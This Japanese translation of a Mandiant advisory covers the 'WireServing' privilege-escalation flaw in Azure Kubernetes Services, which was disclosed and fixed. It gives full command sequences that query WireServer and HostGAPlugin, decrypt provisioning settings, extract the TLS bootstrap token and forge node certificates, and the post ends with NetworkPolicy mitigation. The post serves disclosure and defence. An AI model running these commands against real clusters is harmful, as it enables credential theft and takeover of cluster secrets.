コンテンツに移動
脅威インテリジェンス

証明書に対する「WireServing」の脅威: Azure Kubernetes Services における権限の昇格

2024年9月10日
Mandiant

※この投稿は米国時間 2024 年 8 月 19 日に、Google Cloud blog に投稿されたものの抄訳です。

 

概要

  • Mandiant は、Microsoft Security Response CenterMSRC)の脆弱性開示プログラムを通じてこの脆弱性を Microsoft に開示し、Microsoft は、根本的な問題を修正しました。

  • 脆弱な Microsoft Azure Kubernetes Services クラスタにアクセスできる攻撃者は、すでに権限を昇格させ、クラスタにより使用されるサービスの認証情報にアクセスしている可能性があります。

  • この問題を悪用した攻撃者が機密情報にアクセスしたことにより、データの盗難、金銭的損失、風評被害、その他の影響を招く可能性があります。

はじめに

Kubernetes のセキュリティ強化は困難な場合があります。内部サービスに対する認証の強制適用、きめ細かな NetworkPolicy の適用、Pod Security による安全でないワークロードの制限は、クラスタ全体を危険にさらすおそれのある脆弱性悪用後のアクティビティを防止するうえで、今や当たり前のこととなっています。攻撃対象領域を制限するこれらのセキュリティ構成は、既知の攻撃と未知の攻撃の両方を防ぐのに役立ちます。

「ネットワーク構成」に「Azure CNI」、「Network Policy」に「Azure」を使用している Azure Kubernetes Services クラスタは、この権限昇格の脆弱性の影響を受けました。影響を受けた Azure Kubernetes Services クラスタ内で稼働する Pod でコマンドを実行することで、攻撃者はクラスタノードのプロビジョニングに使用される構成をダウンロードし、Transport Layer SecurityTLS)ブートストラップ トークンを抽出して、クラスタ内のすべてのシークレットを読み取る TLS ブートストラップ攻撃を実行しました。この攻撃では、Pod hostNetwork true に設定して実行される必要も、root として実行される必要もありません。

Mandiant は、MSRC 脆弱性開示プログラムを通じてこの脆弱性を Microsoft に開示し、Microsoft は、根本的な問題を修正しました。

背景

クラスタ ネットワークへのアクセス

Pod 内で攻撃者がコードを実行する可能性を考慮せずに Kubernetes クラスタがデプロイされることがよくあります。これは、実行中のワークロード、継続的インテグレーションのビルドジョブ、侵害されたデベロッパー アカウントの既存の脆弱性を介してなど、多くの方法で行われます。このようなシナリオでは、NetworkPolicy が脆弱性悪用後のアクティビティを防ぐための最初の防御線となります。

NetworkPolicy が設定されていない場合、侵害された Pod はクラスタ上の他のあらゆる Pod がアクセスできるあらゆるネットワーク リソースにアクセスできると想定する必要があります。このネットワーク リソースの例として、別の Pod のローカル Redis キャッシュ、クラウド プロバイダで稼働しているマネージド データベース、オンプレミスのネットワークが挙げられます。これらのサービスが認証を必要とし、正しく構成されている場合、これは比較的リスクの低い構成です。攻撃者が悪用するには、これらのサービスのいずれかにおける脆弱性が必要となります。

これらのアクセス可能なサービスの中で見落とされがちなのが、Pod が稼働しているワーカーノードの構成に使用される内部クラウド サービスです。各クラウド プロバイダにおいて http://169.254.169.254 からアクセス可能なメタデータ サーバーは、マシンの構成のほか、多くの場合、クラウド プロバイダがマシンを識別するための認証情報を提供します。一般的に、メタデータ サーバーに直接アクセスできるということは、マシンと同じ権限を持つことと同じことです。

メタデータ サーバーへの攻撃は目新しいものではなく、クラウド プロバイダはデフォルトで攻撃対象領域を制限するために多くのことを行っています。ほとんどのクラウド プロバイダは、169.254.0.0/16 へのアクセスをブロックする NetworkPolicy の推奨、ワーカーノードに割り当てられるデフォルト権限の制限、Pod が自らの稼働場所であるインスタンスとは別の独自の認証情報を使用するための代替手段の提供を併せて行っています。

Kubernetes ノードのブートストラップ

Kubernetes ノードのブートストラップの信頼性を確保することの難しさは、Kubernetes セキュリティ コミュニティの間ではよく知られています。Kubernetes ノード上で動作する kubelet が安全に動作するには、コントロール プレーンの認証局(CA)によって署名される TLS 証明書が必要です。しかし、ノード(または仮想マシン [VM])が常に作成、破棄される大規模な分散システムでは、その証明書をどのように VM にプロビジョニングすべきでしょうか?クラウド サービスにおける方法の一つとして、各クラウド プロバイダにおいて http://169.254.169.254 からアクセス可能なメタデータ サーバーを使用して、VM がクラスタの一部であることを証明し、kubelet 証明書を発行するために使用できる静的トークンをプロビジョニングされた VM に配信する方法が挙げられます。

この手法の問題点として、これらのメタデータ サービスがネットワーク アクセス可能であり、攻撃者がサーバーサイドのリクエスト フォージェリ(SSRF)の脆弱性などによってネットワーク アクセス可能な場合、トークンを盗まれるおそれがあります。Google Kubernetes EngineGKE)のセキュリティ チームは、2018 年の Kubecon Shopify を利用したこの形式の攻撃についてプレゼンテーションを行いました。これらのブートストラップ トークンを所有する攻撃者は、自分のマシン用の kubelet 証明書を作成し、その認証情報を使用してコントロール プレーンを攻撃して、機密情報を盗み、悪意ある「ノード」でスケジュール設定されたワークロードを妨害できます。

アプリケーションからメタデータ サーバーへのアクセスを拒否することでこれらのトークンを保護することも有効ですが、マネージド Kubernetes 業界は、セキュリティに関する重要な意思決定のために VM を識別する手段として、単純なトークン プロビジョニングの範囲を超えて進化しています。

GKE を例にとると、このような進化が起きていることがわかります。GKE 2018 2 月、同年の Kubecon で発表されたメタデータ隠蔽プロキシにより、この種のブートストラップ トークン盗用攻撃からクラスタを初めて保護しました。この一時的なソリューションに代わって、シールドされたノードの一部として動作する、暗号技術を用いて検証可能な仮想トラステッド プラットフォーム モジュール(vTPM)によって支えられる高信頼性ブートストラップ プロセスが 2019 9 月に導入されました。シールドされたノードは、2021 1 月以降、新しく作成されたすべての GKE クラスタではデフォルトで有効になっています。これは、すべての GKE Autopilot クラスタで有効になっており、無効にすることはできません。

GKE のシールドされたノードは、ブートストラップ トークンの盗難リスクを隠蔽するのではなく、これを取り除きます。VM は、静的トークンの所有を新しい kubelet 証明書のリクエストの認証と認可の根拠とする代わりに VM vTPM に証明書をリクエストし、この証明書が kubelet 証明書の発行前にコントロール プレーンによって検証されます。この証明書を生成するには、攻撃者が VM 上の root 所有デバイスにアクセスする必要がありますが、これはメタデータ サーバーへのネットワーク アクセスよりもはるかに困難です。これにアクセスできたとしても、攻撃者が生成できるのはそのノードの証明書だけであり、クラスタ内のどのノードの証明書でも生成できるわけではありません。既存の kubelet 証明書の有効期限が切れると、新しい kubelet 証明書を取得するために新しい証明書を生成する必要があるため、攻撃者はそのノードにおけるプレゼンスを維持する必要があります。

Azure WireServer HostGAPlugin

Azure WireServer は、いくつかの理由からプラットフォーム内部で使用される Azure の文書化されていないコンポーネントです。本稿執筆時点では、WireServer の機能に関する最良の公式リソースは、Linux インスタンスのプロビジョニングと Azure Fabric とのインタラクションを処理する Azure WALinuxAgent リポジトリとなります。

CyberCX 2023 5 月、文書化されていない HostGAPlugin を使用した興味深い攻撃経路を含む調査結果を発表しました。WireServerhttp://168.63.129.16/machine/?comp=goalstate)と HostGAPluginhttp://168.63.129.16:32526/vmSettings)のエンドポイントにアクセスできる攻撃者は、仮想マシンに初期構成を提供するために使用されるサービスである「Custom Script Extension」を含む、多くの拡張機能に提供される設定を取得、復号できます。

脆弱性の悪用

TLS ブートストラップ トークンの復元

CyberCX が文書化したプロセスに従って、保護された設定の暗号化に使用するキーを WireServer にリクエストできます。wireserver.key を生成するためのコマンド全体を、元のブログ投稿から以下のとおり転載しています。

openssl req -x509 -nodes -subj "/CN=LinuxTransport" -days 730 
-newkey rsa:2048 -keyout temp.key -outform DER -out temp.crt
CERT_URL=$(curl 'http://168.63.129.16/machine/?comp=goalstate' 
-H 'x-ms-version: 2015-04-05' -s | grep -oP 
'(?<=Certificates>).+(?=</Certificates>)' | recode html..ascii)
curl $CERT_URL -H 'x-ms-version: 2015-04-05' -H 
"x-ms-guest-agent-public-x509-cert: $(base64 -w0 ./temp.crt)" -s | 
grep -Poz '(?<=<Data>)(.*\n)*.*(?=</Data>)' | base64 -di > payload.p7m
openssl cms -decrypt -inform DER -in payload.p7m -inkey 
./temp.key -out payload.pfx
openssl pkcs12 -nodes -in payload.pfx -password pass: 
-out wireserver.key

正しく実行されると、TenantEncryptionCert キーが wireserver.key に書き込まれます。

https://storage.googleapis.com/gweb-cloudblog-publish/images/wireserving-fig1.max-600x600.png

図 1: wireserver.key について予測されるキー属性

HostGAPlugin から返された JSON ドキュメントは、null 値を削除するために大まかに解析され、マシンのプロビジョニングに使用されるスクリプトを含む暗号化された blobprotected_settings.bin)を生成するために Base64 でデコードできます。

curl -s 'http://168.63.129.16:32526/vmSettings' | 
jq -r.extensionGoalStates[].settings[].protectedSettings | 
grep -v null | base64 -d > protected_settings.bin

暗号化された設定 blobprotected_settings.bin)は、事前に取得している wireserver.key を使用して復号できます。

openssl cms -decrypt -inform DER -in settings.bin -inkey 
./wireserver.key > settings.json

この設定ファイルには、Pod が稼働している Kuberenetes ノードで使用されるプロビジョニング スクリプトを含む単一のキー、commandToExecute が含まれています。

https://storage.googleapis.com/gweb-cloudblog-publish/images/wireserving-fig2.max-1000x1000.png

図 2: commandToExecute の ProtectedSettings の構成

このプロビジョニング スクリプトには、Azure Kubernetes Service ノードのプロビジョニング スクリプトである cse_cmd.sh のテンプレート化された結果が含まれているように思われます。このプロビジョニング スクリプトには、シークレットが環境変数として多数含まれており、権限昇格に使用されるシークレットは以下のように文書化されています。

 

環境変数

目的

KUBELET_CLIENT_CONTENT

汎用ノード TLS キー

KUBELET_CLIENT_CERT_CONTENT

汎用ノード TLS 証明書

KUBELET_CA_CRT

Kubernetes CA 証明書

TLS_BOOTSTRAP_TOKEN

TLS ブートストラップ認証トークン

KUBELET_CLIENT_CONTENTKUBELET_CLIENT_CERT_CONTENTKUBELET_CA_CRT は、Base64 でデコードして、クラスタに対する認証を行うために Kubernetes コマンドライン ツール kubectl で使用するディスクに書き込むことができます。このアカウントには、最近デプロイされた Azure Kubernetes ServiceAKS)クラスタにおける最小限の Kubernetes 権限が割り当てられていますが、このアカウントは、特にクラスタ内のノードを一覧表示できます。

https://storage.googleapis.com/gweb-cloudblog-publish/images/wireserving-fig3.max-1100x1100.png

図 3: 埋め込みの TLS 証明書に付与された権限

TLS_BOOTSTRAP_TOKEN は、kubectl による認証に直接提供することができ、ClientSigningRequestsCSR)を読み取りおよび作成できるため、4Armed 2018 年に説明している GKE に対する攻撃と同様の TLS ブートストラップ攻撃が可能になりました。ただこの攻撃は、当時 GKE メタデータの隠蔽機能を使用することで防止できるようになり、その後、GKE のシールドされたノードではデフォルトで防止されるようになりました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/wireserving-fig4.max-800x800.png

図 4: TLS ブートストラップ トークンに付与された権限

アクティブ ノード証明書の復元

cse_cmd.sh に埋め込まれた証明書を使用して、後にアクティブ ノードの証明書をリクエストするために使用するクラスタ内のノードを一覧表示できます。

kubectl --certificate-authority ca.crt --client-certificate kubelet.crt 
--client-key kubelet.key --server https://10.0.0.1:443 get nodes

ノードは、共通名が system:node:<NODE NAME>、組織が system:nodes のクライアント証明書により識別されます。以下は、証明書の生成に使用する cfssl コマンドです。

cat <<EOF | cfssl genkey - | cfssljson -bare <NODE NAME>
{
  "CN": "system:node:<NODE NAME>",
  "key": {
    "algo": "rsa",
    "size": 2048
  },
  "names": [
    {
      "O": "system:nodes"
    }
  ]
}
EOF

CSR は、以下の kubectl コマンドを使い、cse_cmd.sh に含まれている TLS ブートストラップ トークンを使用して Kubernetes API に送信できます。

cat <<EOF | kubectl --token=<TLS BOOTSTRAP TOKEN> 
--certificate-authority ca.crt --server https://10.0.0.1:443 apply -f -
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
  name: "<NODE NAME>"
spec:
  groups:
  - system:nodes
  request: $(cat "<NODE NAME>".csr | base64 | tr -d '\n')
  signerName: kubernetes.io/kube-apiserver-client-kubelet
  usages:
  - digital signature
  - key encipherment
  - client auth
EOF

Azure Kubernetes Services は、TLS ブートストラップ トークンによって送信された CSR に自動的に署名し、認証証明書を生成します。証明書は以下の kubectl コマンドでリクエストできます。

kubectl --token=<TLS BOOTSTRAP TOKEN> --certificate-authority ca.crt 
--server https://10.0.0.1:443 get csr <NODE NAME> -o 
jsonpath='{.status.certificate}' | base64 -d > <NODE NAME>.crt

取得した証明書は、次の kubectl コマンドで Kubernetes API への認証に使用することで検証できます。

kubectl --certificate-authority ca.crt --client-certificate 
<NODE NAME>.key --client-key <NODE NAME>.crt 
--server https://10.0.0.1:443 auth can-i --list
https://storage.googleapis.com/gweb-cloudblog-publish/images/wireserving-fig5.max-1000x1000.png

図 5: 新たに発行された証明書に付与された権限

Node Authorizer は、ノードにスケジュールされているワークロードに基づいて権限を付与します。この権限により、ノード上で実行中のワークロードのすべての機密情報を読み取ることができます。このプロセスをすべてのアクティブ ノードで繰り返すことで、実行中のワークロードが使用するすべての機密情報にアクセスできます。

防止策

必要なサービスだけにアクセスを許可する限定的な NetworkPolicy を作成するプロセスを採用することで、この攻撃クラス全体を防止できます。文書化されていないサービスを介した権限昇格は、そのサービスにまったくアクセスできなければ防止されます。

-Mandiant著者: Nick McClendon 氏、Daniel McNamara 氏、Jacob Paullus 

投稿先